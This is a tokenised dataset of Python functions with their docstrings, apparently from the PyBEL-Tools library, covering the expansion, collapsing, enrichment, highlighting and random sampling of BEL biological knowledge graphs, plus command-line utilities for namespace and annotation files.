{"signature": "@uni_in_place_transformation<EOL>def expand_periphery(universe: BELGraph,<EOL>graph: BELGraph,<EOL>node_predicates: NodePredicates = None,<EOL>edge_predicates: EdgePredicates = None,<EOL>threshold: int = <NUM_LIT:2>,<EOL>) -> None:", "body": "nd = get_subgraph_peripheral_nodes(universe, graph, node_predicates=node_predicates,<EOL>edge_predicates=edge_predicates)<EOL>for node, dd in nd.items():<EOL><INDENT>pred_d = dd['<STR_LIT>']<EOL>succ_d = dd['<STR_LIT>']<EOL>in_subgraph_connections = set(pred_d) | set(succ_d)<EOL>if threshold > len(in_subgraph_connections):<EOL><INDENT>continue<EOL><DEDENT>graph.add_node(node, attr_dict=universe[node])<EOL>for u, edges in pred_d.items():<EOL><INDENT>for k, d in edges:<EOL><INDENT>safe_add_edge(graph, u, node, k, d)<EOL><DEDENT><DEDENT>for v, edges in succ_d.items():<EOL><INDENT>for k, d in edges:<EOL><INDENT>safe_add_edge(graph, node, v, k, d)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterates over all possible edges, peripheral to a given subgraph, that could be added from the given graph.\n    Edges could be added if they go to nodes that are involved in relationships that occur with more than the\n    threshold (default 2) number of nodes in the subgraph.\n\n    :param universe: The universe of BEL knowledge\n    :param graph: The (sub)graph to expand\n    :param threshold: Minimum frequency of betweenness occurrence to add a gap node\n\n    A reasonable edge filter to use is :func:`pybel_tools.filters.keep_causal_edges` because this function can allow\n    for huge expansions if there happen to be hub nodes.", "id": "f9376:m8"}
{"signature": "@uni_in_place_transformation<EOL>def enrich_complexes(graph: BELGraph) -> None:", "body": "nodes = list(get_nodes_by_function(graph, COMPLEX))<EOL>for u in nodes:<EOL><INDENT>for v in u.members:<EOL><INDENT>graph.add_has_component(u, v)<EOL><DEDENT><DEDENT>", "docstring": "Add all of the members of the complex abundances to the graph.", "id": "f9376:m9"}
{"signature": "@uni_in_place_transformation<EOL>def enrich_composites(graph: BELGraph):", "body": "nodes = list(get_nodes_by_function(graph, COMPOSITE))<EOL>for u in nodes:<EOL><INDENT>for v in u.members:<EOL><INDENT>graph.add_has_component(u, v)<EOL><DEDENT><DEDENT>", "docstring": "Adds all of the members of the composite abundances to the graph.", "id": "f9376:m10"}
{"signature": "@uni_in_place_transformation<EOL>def enrich_reactions(graph: BELGraph):", "body": "nodes = list(get_nodes_by_function(graph, REACTION))<EOL>for u in nodes:<EOL><INDENT>for v in u.reactants:<EOL><INDENT>graph.add_has_reactant(u, v)<EOL><DEDENT>for v in u.products:<EOL><INDENT>graph.add_has_product(u, v)<EOL><DEDENT><DEDENT>", "docstring": "Adds all of the reactants and products of reactions to the graph.", "id": "f9376:m11"}
{"signature": "@uni_in_place_transformation<EOL>def enrich_variants(graph: BELGraph, func: Union[None, str, Iterable[str]] = None):", "body": "if func is None:<EOL><INDENT>func = {PROTEIN, RNA, MIRNA, GENE}<EOL><DEDENT>nodes = list(get_nodes_by_function(graph, func))<EOL>for u in nodes:<EOL><INDENT>parent = u.get_parent()<EOL>if parent is None:<EOL><INDENT>continue<EOL><DEDENT>if parent not in graph:<EOL><INDENT>graph.add_has_variant(parent, u)<EOL><DEDENT><DEDENT>", "docstring": "Add the reference nodes for all variants of the given function.\n\n    :param graph: The target BEL graph to enrich\n    :param func: The function by which the subject of each triple is filtered. Defaults to the set of protein, rna,\n     mirna, and gene.", "id": "f9376:m12"}
{"signature": "@uni_in_place_transformation<EOL>def enrich_unqualified(graph: BELGraph):", "body": "enrich_complexes(graph)<EOL>enrich_composites(graph)<EOL>enrich_reactions(graph)<EOL>enrich_variants(graph)<EOL>", "docstring": "Enrich the sub-graph with the unqualified edges from the graph.\n\n    The reason you might want to do this is you induce a sub-graph from the original graph based on an annotation\n    filter, but the unqualified edges that don't have annotations that most likely connect elements within your graph\n    are not included.\n\n    .. seealso::\n\n        This function thinly wraps the successive application of the following functions:\n\n        - :func:`enrich_complexes`\n        - :func:`enrich_composites`\n        - :func:`enrich_reactions`\n        - :func:`enrich_variants`\n\n    Equivalent to:\n\n    >>> enrich_complexes(graph)\n    >>> enrich_composites(graph)\n    >>> enrich_reactions(graph)\n    >>> enrich_variants(graph)", "id": "f9376:m13"}
{"signature": "@uni_in_place_transformation<EOL>def expand_internal(universe: BELGraph, graph: BELGraph, edge_predicates: EdgePredicates = None) -> None:", "body": "edge_filter = and_edge_predicates(edge_predicates)<EOL>for u, v in itt.product(graph, repeat=<NUM_LIT:2>):<EOL><INDENT>if graph.has_edge(u, v) or not universe.has_edge(u, v):<EOL><INDENT>continue<EOL><DEDENT>rs = defaultdict(list)<EOL>for key, data in universe[u][v].items():<EOL><INDENT>if not edge_filter(universe, u, v, key):<EOL><INDENT>continue<EOL><DEDENT>rs[data[RELATION]].append((key, data))<EOL><DEDENT>if <NUM_LIT:1> == len(rs):<EOL><INDENT>relation = list(rs)[<NUM_LIT:0>]<EOL>for key, data in rs[relation]:<EOL><INDENT>graph.add_edge(u, v, key=key, **data)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>log.debug('<STR_LIT>', u, v)<EOL><DEDENT><DEDENT>", "docstring": "Edges between entities in the sub-graph that pass the given filters.\n\n    :param universe: The full graph\n    :param graph: A sub-graph to find the upstream information\n    :param edge_predicates: Optional list of edge filter functions (graph, node, node, key, data) -> bool", "id": "f9376:m14"}
{"signature": "@uni_in_place_transformation<EOL>def expand_internal_causal(universe: BELGraph, graph: BELGraph) -> None:", "body": "expand_internal(universe, graph, edge_predicates=is_causal_relation)<EOL>", "docstring": "Add causal edges between entities in the sub-graph.\n\n    Is an extremely thin wrapper around :func:`expand_internal`.\n\n    :param universe: A BEL graph representing the universe of all knowledge\n    :param graph: The target BEL graph to enrich with causal relations between contained nodes\n\n    Equivalent to:\n\n    >>> from pybel_tools.mutation import expand_internal\n    >>> from pybel.struct.filters.edge_predicates import is_causal_relation\n    >>> expand_internal(universe, graph, edge_predicates=is_causal_relation)", "id": "f9376:m15"}
{"signature": "def build_expand_node_neighborhood_by_hash(manager: Manager) -> Callable[[BELGraph, BELGraph, str], None]:", "body": "@uni_in_place_transformation<EOL>def expand_node_neighborhood_by_hash(universe: BELGraph, graph: BELGraph, node_hash: str) -> None:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>node = manager.get_dsl_by_hash(node_hash)<EOL>return expand_node_neighborhood(universe, graph, node)<EOL><DEDENT>return expand_node_neighborhood_by_hash<EOL>", "docstring": "Make an expand function that's bound to the manager.", "id": "f9377:m0"}
{"signature": "def build_delete_node_by_hash(manager: Manager) -> Callable[[BELGraph, str], None]:", "body": "@in_place_transformation<EOL>def delete_node_by_hash(graph: BELGraph, node_hash: str) -> None:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>node = manager.get_dsl_by_hash(node_hash)<EOL>graph.remove_node(node)<EOL><DEDENT>return delete_node_by_hash<EOL>", "docstring": "Make a delete function that's bound to the manager.", "id": "f9377:m1"}
{"signature": "@in_place_transformation<EOL>def remove_inconsistent_edges(graph: BELGraph) -> None:", "body": "for u, v in get_inconsistent_edges(graph):<EOL><INDENT>edges = [(u, v, k) for k in graph[u][v]]<EOL>graph.remove_edges_from(edges)<EOL><DEDENT>", "docstring": "Remove all edges between node pairs with inconsistent edges.\n\n    This is the all-or-nothing approach. It would be better to do more careful investigation of the evidences during\n    curation.", "id": "f9379:m0"}
{"signature": "def get_inconsistent_edges(graph: BELGraph) -> Iterable[Tuple[BaseEntity]]:", "body": "for u, v in graph.edges():<EOL><INDENT>if not pair_is_consistent(graph, u, v):<EOL><INDENT>yield u, v<EOL><DEDENT><DEDENT>", "docstring": "Iterate over pairs of nodes with inconsistent edges.", "id": "f9379:m1"}
{"signature": "@in_place_transformation<EOL>def collapse_protein_variants(graph: BELGraph) -> None:", "body": "_collapse_variants_by_function(graph, PROTEIN)<EOL>", "docstring": "Collapse all protein's variants' edges to their parents, in-place.", "id": "f9380:m0"}
{"signature": "@in_place_transformation<EOL>def collapse_gene_variants(graph: BELGraph) -> None:", "body": "_collapse_variants_by_function(graph, GENE)<EOL>", "docstring": "Collapse all gene's variants' edges to their parents, in-place.", "id": "f9380:m1"}
{"signature": "def _collapse_variants_by_function(graph: BELGraph, func: str) -> None:", "body": "for parent_node, variant_node, data in graph.edges(data=True):<EOL><INDENT>if data[RELATION] == HAS_VARIANT and parent_node.function == func:<EOL><INDENT>collapse_pair(graph, from_node=variant_node, to_node=parent_node)<EOL><DEDENT><DEDENT>", "docstring": "Collapse all of the given functions' variants' edges to their parents, in-place.", "id": "f9380:m2"}
{"signature": "@in_place_transformation<EOL>def rewire_variants_to_genes(graph: BELGraph) -> None:", "body": "mapping = {}<EOL>for node in graph:<EOL><INDENT>if not isinstance(node, Protein) or not node.variants:<EOL><INDENT>continue<EOL><DEDENT>mapping[node] = Gene(<EOL>name=node.name,<EOL>namespace=node.namespace,<EOL>identifier=node.identifier,<EOL>variants=node.variants,<EOL>)<EOL><DEDENT>nx.relabel_nodes(graph, mapping, copy=False)<EOL>", "docstring": "Find all protein variants that are pointing to a gene and not a protein and fixes them by changing their\n    function to be :data:`pybel.constants.GENE`, in place\n\n    A use case is after running :func:`collapse_to_genes`.", "id": "f9380:m3"}
{"signature": "def _collapse_edge_passing_predicates(graph: BELGraph, edge_predicates: EdgePredicates = None) -> None:", "body": "for u, v, _ in filter_edges(graph, edge_predicates=edge_predicates):<EOL><INDENT>collapse_pair(graph, survivor=u, victim=v)<EOL><DEDENT>", "docstring": "Collapse all edges passing the given edge predicates.", "id": "f9380:m4"}
{"signature": "def _collapse_edge_by_namespace(graph: BELGraph,<EOL>victim_namespaces: Strings,<EOL>survivor_namespaces: str,<EOL>relations: Strings) -> None:", "body": "relation_filter = build_relation_predicate(relations)<EOL>source_namespace_filter = build_source_namespace_filter(victim_namespaces)<EOL>target_namespace_filter = build_target_namespace_filter(survivor_namespaces)<EOL>edge_predicates = [<EOL>relation_filter,<EOL>source_namespace_filter,<EOL>target_namespace_filter<EOL>]<EOL>_collapse_edge_passing_predicates(graph, edge_predicates=edge_predicates)<EOL>", "docstring": "Collapse pairs of nodes with the given namespaces that have the given relationship.\n\n    :param graph: A BEL Graph\n    :param victim_namespaces: The namespace(s) of the node to collapse\n    :param survivor_namespaces: The namespace of the node to keep\n    :param relations: The relation(s) to search", "id": "f9380:m5"}
{"signature": "@in_place_transformation<EOL>def collapse_equivalencies_by_namespace(graph: BELGraph, victim_namespace: Strings, survivor_namespace: str) -> None:", "body": "_collapse_edge_by_namespace(graph, victim_namespace, survivor_namespace, EQUIVALENT_TO)<EOL>", "docstring": "Collapse pairs of nodes with the given namespaces that have equivalence relationships.\n\n    :param graph: A BEL graph\n    :param victim_namespace: The namespace(s) of the node to collapse\n    :param survivor_namespace: The namespace of the node to keep\n\n    To convert all ChEBI names to InChI keys, assuming there are appropriate equivalence relations between nodes with\n    those namespaces:\n\n    >>> collapse_equivalencies_by_namespace(graph, 'CHEBI', 'CHEBIID')\n    >>> collapse_equivalencies_by_namespace(graph, 'CHEBIID', 'INCHI')", "id": "f9380:m6"}
{"signature": "@in_place_transformation<EOL>def collapse_orthologies_by_namespace(graph: BELGraph, victim_namespace: Strings, survivor_namespace: str) -> None:", "body": "_collapse_edge_by_namespace(graph, victim_namespace, survivor_namespace, ORTHOLOGOUS)<EOL>", "docstring": "Collapse pairs of nodes with the given namespaces that have orthology relationships.\n\n    :param graph: A BEL Graph\n    :param victim_namespace: The namespace(s) of the node to collapse\n    :param survivor_namespace: The namespace of the node to keep\n\n    To collapse all MGI nodes to their HGNC orthologs, use:\n    >>> collapse_orthologies_by_namespace('MGI', 'HGNC')\n\n\n    To collapse collapse both MGI and RGD nodes to their HGNC orthologs, use:\n    >>> collapse_orthologies_by_namespace(['MGI', 'RGD'], 'HGNC')", "id": "f9380:m7"}
{"signature": "@in_place_transformation<EOL>def collapse_entrez_to_hgnc(graph: BELGraph):", "body": "collapse_equivalencies_by_namespace(graph, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], '<STR_LIT>')<EOL>", "docstring": "Collapse Entrez equivalences to HGNC.", "id": "f9380:m8"}
{"signature": "@in_place_transformation<EOL>def collapse_mgi_to_hgnc(graph: BELGraph):", "body": "collapse_orthologies_by_namespace(graph, ['<STR_LIT>', '<STR_LIT>'], '<STR_LIT>')<EOL>", "docstring": "Collapse MGI orthologies to HGNC.", "id": "f9380:m9"}
{"signature": "@in_place_transformation<EOL>def collapse_rgd_to_hgnc(graph: BELGraph):", "body": "collapse_orthologies_by_namespace(graph, ['<STR_LIT>', '<STR_LIT>'], '<STR_LIT>')<EOL>", "docstring": "Collapse RGD orthologies to HGNC.", "id": "f9380:m10"}
{"signature": "@in_place_transformation<EOL>def collapse_flybase_to_hgnc(graph: BELGraph):", "body": "collapse_orthologies_by_namespace(graph, '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Collapse FlyBase orthologies to HGNC.", "id": "f9380:m11"}
{"signature": "@in_place_transformation<EOL>def collapse_entrez_equivalencies(graph: BELGraph):", "body": "relation_filter = build_relation_predicate(EQUIVALENT_TO)<EOL>source_namespace_filter = build_source_namespace_filter(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>edge_predicates = [<EOL>relation_filter,<EOL>source_namespace_filter,<EOL>]<EOL>_collapse_edge_passing_predicates(graph, edge_predicates=edge_predicates)<EOL>", "docstring": "Collapse all equivalence edges away from Entrez. Assumes well formed, 2-way equivalencies.", "id": "f9380:m12"}
{"signature": "@in_place_transformation<EOL>def collapse_consistent_edges(graph: BELGraph):", "body": "for u, v in graph.edges():<EOL><INDENT>relation = pair_is_consistent(graph, u, v)<EOL>if not relation:<EOL><INDENT>continue<EOL><DEDENT>edges = [(u, v, k) for k in graph[u][v]]<EOL>graph.remove_edges_from(edges)<EOL>graph.add_edge(u, v, attr_dict={RELATION: relation})<EOL><DEDENT>", "docstring": "Collapse consistent edges together.\n\n    .. warning:: This operation doesn't preserve evidences or other annotations", "id": "f9380:m13"}
{"signature": "@transformation<EOL>def collapse_to_protein_interactions(graph: BELGraph) -> BELGraph:", "body": "rv: BELGraph = graph.copy()<EOL>collapse_to_genes(rv)<EOL>def is_edge_ppi(_: BELGraph, u: BaseEntity, v: BaseEntity, __: str) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return isinstance(u, Gene) and isinstance(v, Gene)<EOL><DEDENT>return get_subgraph_by_edge_filter(rv, edge_predicates=[has_polarity, is_edge_ppi])<EOL>", "docstring": "Collapse to a graph made of only causal gene/protein edges.", "id": "f9380:m14"}
{"signature": "@in_place_transformation<EOL>def collapse_nodes_with_same_names(graph: BELGraph) -> None:", "body": "survivor_mapping = defaultdict(set) <EOL>victims = set() <EOL>it = tqdm(itt.combinations(graph, r=<NUM_LIT:2>), total=graph.number_of_nodes() * (graph.number_of_nodes() - <NUM_LIT:1>) / <NUM_LIT:2>)<EOL>for a, b in it:<EOL><INDENT>if b in victims:<EOL><INDENT>continue<EOL><DEDENT>a_name, b_name = a.get(NAME), b.get(NAME)<EOL>if not a_name or not b_name or a_name.lower() != b_name.lower():<EOL><INDENT>continue<EOL><DEDENT>if a.keys() != b.keys():  <EOL><INDENT>continue<EOL><DEDENT>for k in set(a.keys()) - {NAME, NAMESPACE}:<EOL><INDENT>if a[k] != b[k]:  <EOL><INDENT>continue<EOL><DEDENT><DEDENT>survivor_mapping[a].add(b)<EOL>victims.add(b)<EOL><DEDENT>collapse_nodes(graph, survivor_mapping)<EOL>", "docstring": "Collapse all nodes with the same name, merging namespaces by picking first alphabetical one.", "id": "f9380:m15"}
{"signature": "@in_place_transformation<EOL>def infer_missing_two_way_edges(graph):", "body": "for u, v, k, d in graph.edges(data=True, keys=True):<EOL><INDENT>if d[RELATION] in TWO_WAY_RELATIONS:<EOL><INDENT>infer_missing_backwards_edge(graph, u, v, k)<EOL><DEDENT><DEDENT>", "docstring": "Add edges to the graph when a two way edge exists, and the opposite direction doesn't exist.\n\n    Use: two way edges from BEL definition and/or axiomatic inverses of membership relations\n\n    :param pybel.BELGraph graph: A BEL graph", "id": "f9381:m0"}
{"signature": "def infer_missing_backwards_edge(graph, u, v, k):", "body": "if u in graph[v]:<EOL><INDENT>for attr_dict in graph[v][u].values():<EOL><INDENT>if attr_dict == graph[u][v][k]:<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>graph.add_edge(v, u, key=k, **graph[u][v][k])<EOL>", "docstring": "Add the same edge, but in the opposite direction if not already present.\n\n    :type graph: pybel.BELGraph\n    :type u: tuple\n    :type v: tuple\n    :type k: int", "id": "f9381:m1"}
{"signature": "@uni_in_place_transformation<EOL>def enrich_internal_unqualified_edges(graph, subgraph):", "body": "for u, v in itt.combinations(subgraph, <NUM_LIT:2>):<EOL><INDENT>if not graph.has_edge(u, v):<EOL><INDENT>continue<EOL><DEDENT>for k in graph[u][v]:<EOL><INDENT>if k < <NUM_LIT:0>:<EOL><INDENT>subgraph.add_edge(u, v, key=k, **graph[u][v][k])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Add the missing unqualified edges between entities in the subgraph that are contained within the full graph.\n\n    :param pybel.BELGraph graph: The full BEL graph\n    :param pybel.BELGraph subgraph: The query BEL subgraph", "id": "f9381:m2"}
{"signature": "@in_place_transformation<EOL>def enrich_pubmed_citations(graph: BELGraph, manager: Manager) -> Set[str]:", "body": "pmids = get_pubmed_identifiers(graph)<EOL>pmid_data, errors = get_citations_by_pmids(manager=manager, pmids=pmids)<EOL>for u, v, k in filter_edges(graph, has_pubmed):<EOL><INDENT>pmid = graph[u][v][k][CITATION][CITATION_REFERENCE].strip()<EOL>if pmid not in pmid_data:<EOL><INDENT>log.warning('<STR_LIT>', pmid)<EOL>errors.add(pmid)<EOL>continue<EOL><DEDENT>graph[u][v][k][CITATION].update(pmid_data[pmid])<EOL><DEDENT>return errors<EOL>", "docstring": "Overwrite all PubMed citations with values from NCBI's eUtils lookup service.\n\n    :return: A set of PMIDs for which the eUtils service crashed", "id": "f9382:m0"}
{"signature": "@uni_in_place_transformation<EOL>def update_context(universe: BELGraph, graph: BELGraph):", "body": "for namespace in get_namespaces(graph):<EOL><INDENT>if namespace in universe.namespace_url:<EOL><INDENT>graph.namespace_url[namespace] = universe.namespace_url[namespace]<EOL><DEDENT>elif namespace in universe.namespace_pattern:<EOL><INDENT>graph.namespace_pattern[namespace] = universe.namespace_pattern[namespace]<EOL><DEDENT>else:<EOL><INDENT>log.warning('<STR_LIT>', namespace)<EOL><DEDENT><DEDENT>for annotation in get_annotations(graph):<EOL><INDENT>if annotation in universe.annotation_url:<EOL><INDENT>graph.annotation_url[annotation] = universe.annotation_url[annotation]<EOL><DEDENT>elif annotation in universe.annotation_pattern:<EOL><INDENT>graph.annotation_pattern[annotation] = universe.annotation_pattern[annotation]<EOL><DEDENT>elif annotation in universe.annotation_list:<EOL><INDENT>graph.annotation_list[annotation] = universe.annotation_list[annotation]<EOL><DEDENT>else:<EOL><INDENT>log.warning('<STR_LIT>', annotation)<EOL><DEDENT><DEDENT>", "docstring": "Update the context of a subgraph from the universe of all knowledge.", "id": "f9382:m1"}
{"signature": "@in_place_transformation<EOL>def highlight_nodes(graph: BELGraph, nodes: Optional[Iterable[BaseEntity]] = None, color: Optional[str]=None):", "body": "color = color or NODE_HIGHLIGHT_DEFAULT_COLOR<EOL>for node in nodes if nodes is not None else graph:<EOL><INDENT>graph.node[node][NODE_HIGHLIGHT] = color<EOL><DEDENT>", "docstring": "Adds a highlight tag to the given nodes.\n\n    :param graph: A BEL graph\n    :param nodes: The nodes to add a highlight tag on\n    :param color: The color to highlight (use something that works with CSS)", "id": "f9383:m0"}
{"signature": "def is_node_highlighted(graph: BELGraph, node: BaseEntity) -> bool:", "body": "return NODE_HIGHLIGHT in graph.node[node]<EOL>", "docstring": "Returns if the given node is highlighted.\n\n    :param graph: A BEL graph\n    :param node: A BEL node\n    :type node: tuple\n    :return: Does the node contain highlight information?\n    :rtype: bool", "id": "f9383:m1"}
{"signature": "@in_place_transformation<EOL>def remove_highlight_nodes(graph: BELGraph, nodes: Optional[Iterable[BaseEntity]]=None) -> None:", "body": "for node in graph if nodes is None else nodes:<EOL><INDENT>if is_node_highlighted(graph, node):<EOL><INDENT>del graph.node[node][NODE_HIGHLIGHT]<EOL><DEDENT><DEDENT>", "docstring": "Removes the highlight from the given nodes, or all nodes if none given.\n\n    :param graph: A BEL graph\n    :param nodes: The list of nodes to un-highlight", "id": "f9383:m2"}
{"signature": "@in_place_transformation<EOL>def highlight_edges(graph: BELGraph, edges=None, color: Optional[str]=None) -> None:", "body": "color = color or EDGE_HIGHLIGHT_DEFAULT_COLOR<EOL>for u, v, k, d in edges if edges is not None else graph.edges(keys=True, data=True):<EOL><INDENT>graph[u][v][k][EDGE_HIGHLIGHT] = color<EOL><DEDENT>", "docstring": "Adds a highlight tag to the given edges.\n\n    :param graph: A BEL graph\n    :param edges: The edges (4-tuples of u, v, k, d) to add a highlight tag on\n    :type edges: iter[tuple]\n    :param str color: The color to highlight (use something that works with CSS)", "id": "f9383:m3"}
{"signature": "def is_edge_highlighted(graph: BELGraph, u, v, k) -> bool:", "body": "return EDGE_HIGHLIGHT in graph[u][v][k]<EOL>", "docstring": "Returns if the given edge is highlighted.\n\n    :param graph: A BEL graph\n    :return: Does the edge contain highlight information?\n    :rtype: bool", "id": "f9383:m4"}
{"signature": "@in_place_transformation<EOL>def remove_highlight_edges(graph: BELGraph, edges=None):", "body": "for u, v, k, _ in graph.edges(keys=True, data=True) if edges is None else edges:<EOL><INDENT>if is_edge_highlighted(graph, u, v, k):<EOL><INDENT>del graph[u][v][k][EDGE_HIGHLIGHT]<EOL><DEDENT><DEDENT>", "docstring": "Remove the highlight from the given edges, or all edges if none given.\n\n    :param graph: A BEL graph\n    :param edges: The edges (4-tuple of u,v,k,d) to remove the highlight from)\n    :type edges: iter[tuple]", "id": "f9383:m5"}
{"signature": "@uni_in_place_transformation<EOL>def highlight_subgraph(universe: BELGraph, graph: BELGraph):", "body": "highlight_nodes(universe, graph)<EOL>highlight_edges(universe, graph.edges())<EOL>", "docstring": "Highlight all nodes/edges in the universe that in the given graph.\n\n    :param universe: The universe of knowledge\n    :param graph: The BEL graph to mutate", "id": "f9383:m6"}
{"signature": "@in_place_transformation<EOL>def remove_highlight_subgraph(graph: BELGraph, subgraph: BELGraph):", "body": "remove_highlight_nodes(graph, subgraph.nodes())<EOL>remove_highlight_edges(graph, subgraph.edges())<EOL>", "docstring": "Remove the highlight from all nodes/edges in the graph that are in the subgraph.\n\n    :param graph: The BEL graph to mutate\n    :param subgraph: The subgraph from which to remove the highlighting", "id": "f9383:m7"}
{"signature": "@transformation<EOL>def random_by_nodes(graph: BELGraph, percentage: Optional[float] = None) -> BELGraph:", "body": "percentage = percentage or <NUM_LIT><EOL>assert <NUM_LIT:0> < percentage <= <NUM_LIT:1><EOL>nodes = graph.nodes()<EOL>n = int(len(nodes) * percentage)<EOL>subnodes = random.sample(nodes, n)<EOL>result = graph.subgraph(subnodes)<EOL>update_node_helper(graph, result)<EOL>return result<EOL>", "docstring": "Get a random graph by inducing over a percentage of the original nodes.\n\n    :param graph: A BEL graph\n    :param percentage: The percentage of edges to keep", "id": "f9384:m0"}
{"signature": "@transformation<EOL>def random_by_edges(graph: BELGraph, percentage: Optional[float] = None) -> BELGraph:", "body": "percentage = percentage or <NUM_LIT><EOL>assert <NUM_LIT:0> < percentage <= <NUM_LIT:1><EOL>edges = graph.edges(keys=True)<EOL>n = int(graph.number_of_edges() * percentage)<EOL>subedges = random.sample(edges, n)<EOL>rv = graph.fresh_copy()<EOL>for u, v, k in subedges:<EOL><INDENT>safe_add_edge(rv, u, v, k, graph[u][v][k])<EOL><DEDENT>update_node_helper(graph, rv)<EOL>return rv<EOL>", "docstring": "Get a random graph by keeping a certain percentage of original edges.\n\n    :param graph: A BEL graph\n    :param percentage: What percentage of eges to take", "id": "f9384:m1"}
{"signature": "@transformation<EOL>def shuffle_node_data(graph: BELGraph, key: str, percentage: Optional[float] = None) -> BELGraph:", "body": "percentage = percentage or <NUM_LIT><EOL>assert <NUM_LIT:0> < percentage <= <NUM_LIT:1><EOL>n = graph.number_of_nodes()<EOL>swaps = int(percentage * n * (n - <NUM_LIT:1>) / <NUM_LIT:2>)<EOL>result: BELGraph = graph.copy()<EOL>for _ in range(swaps):<EOL><INDENT>s, t = random.sample(result.node, <NUM_LIT:2>)<EOL>result.nodes[s][key], result.nodes[t][key] = result.nodes[t][key], result.nodes[s][key]<EOL><DEDENT>return result<EOL>", "docstring": "Shuffle the node's data.\n\n    Useful for permutation testing.\n\n    :param graph: A BEL graph\n    :param key: The node data dictionary key\n    :param percentage: What percentage of possible swaps to make", "id": "f9384:m2"}
{"signature": "@transformation<EOL>def shuffle_relations(graph: BELGraph, percentage: Optional[str] = None) -> BELGraph:", "body": "percentage = percentage or <NUM_LIT><EOL>assert <NUM_LIT:0> < percentage <= <NUM_LIT:1><EOL>n = graph.number_of_edges()<EOL>swaps = int(percentage * n * (n - <NUM_LIT:1>) / <NUM_LIT:2>)<EOL>result: BELGraph = graph.copy()<EOL>edges = result.edges(keys=True)<EOL>for _ in range(swaps):<EOL><INDENT>(s1, t1, k1), (s2, t2, k2) = random.sample(edges, <NUM_LIT:2>)<EOL>result[s1][t1][k1], result[s2][t2][k2] = result[s2][t2][k2], result[s1][t1][k1]<EOL><DEDENT>return result<EOL>", "docstring": "Shuffle the relations.\n\n    Useful for permutation testing.\n\n    :param graph: A BEL graph\n    :param percentage: What percentage of possible swaps to make", "id": "f9384:m3"}
{"signature": "@click.group(help=f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\")<EOL>@click.version_option()<EOL>def main():", "body": "", "docstring": "Command Line Interface for PyBEL Tools.", "id": "f9385:m0"}
{"signature": "@main.group()<EOL>@connection_option<EOL>@click.pass_context<EOL>def io(ctx, connection: str):", "body": "ctx.obj = Manager(connection=connection)<EOL>", "docstring": "Upload and conversion utilities.", "id": "f9385:m1"}
{"signature": "@main.group()<EOL>def namespace():", "body": "", "docstring": "Namespace file utilities.", "id": "f9385:m2"}
{"signature": "@namespace.command()<EOL>@click.argument('<STR_LIT:name>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=getuser())<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=sys.stdin, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout)<EOL>def write(name, keyword, domain, citation, author, description, species, version, contact, license, values, output):", "body": "write_namespace(<EOL>name, keyword, domain, author, citation, values,<EOL>namespace_description=description,<EOL>namespace_species=species,<EOL>namespace_version=version,<EOL>author_contact=contact,<EOL>author_copyright=license,<EOL>file=output,<EOL>)<EOL>", "docstring": "Build a namespace from items.", "id": "f9385:m3"}
{"signature": "@namespace.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:r>'), default=sys.stdin, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout,<EOL>help=\"<STR_LIT>\")<EOL>def convert_to_annotation(file, output):", "body": "resource = parse_bel_resource(file)<EOL>write_annotation(<EOL>keyword=resource['<STR_LIT>']['<STR_LIT>'],<EOL>values={k: '<STR_LIT>' for k in resource['<STR_LIT>']},<EOL>citation_name=resource['<STR_LIT>']['<STR_LIT>'],<EOL>description=resource['<STR_LIT>']['<STR_LIT>'],<EOL>file=output,<EOL>)<EOL>", "docstring": "Convert a namespace file to an annotation file.", "id": "f9385:m4"}
{"signature": "@main.group()<EOL>def annotation():", "body": "", "docstring": "Annotation file utilities.", "id": "f9385:m5"}
{"signature": "@annotation.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:r>'), default=sys.stdin, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', help=\"<STR_LIT>\")<EOL>def convert_to_namespace(file, output, keyword):", "body": "resource = parse_bel_resource(file)<EOL>write_namespace(<EOL>namespace_keyword=(keyword or resource['<STR_LIT>']['<STR_LIT>']),<EOL>namespace_name=resource['<STR_LIT>']['<STR_LIT>'],<EOL>namespace_description=resource['<STR_LIT>']['<STR_LIT>'],<EOL>author_name='<STR_LIT>',<EOL>namespace_domain=NAMESPACE_DOMAIN_OTHER,<EOL>values=resource['<STR_LIT>'],<EOL>citation_name=resource['<STR_LIT>']['<STR_LIT>'],<EOL>file=output,<EOL>)<EOL>", "docstring": "Convert an annotation file to a namespace file.", "id": "f9385:m6"}
{"signature": "@main.group()<EOL>def document():", "body": "", "docstring": "BEL document utilities.", "id": "f9385:m7"}
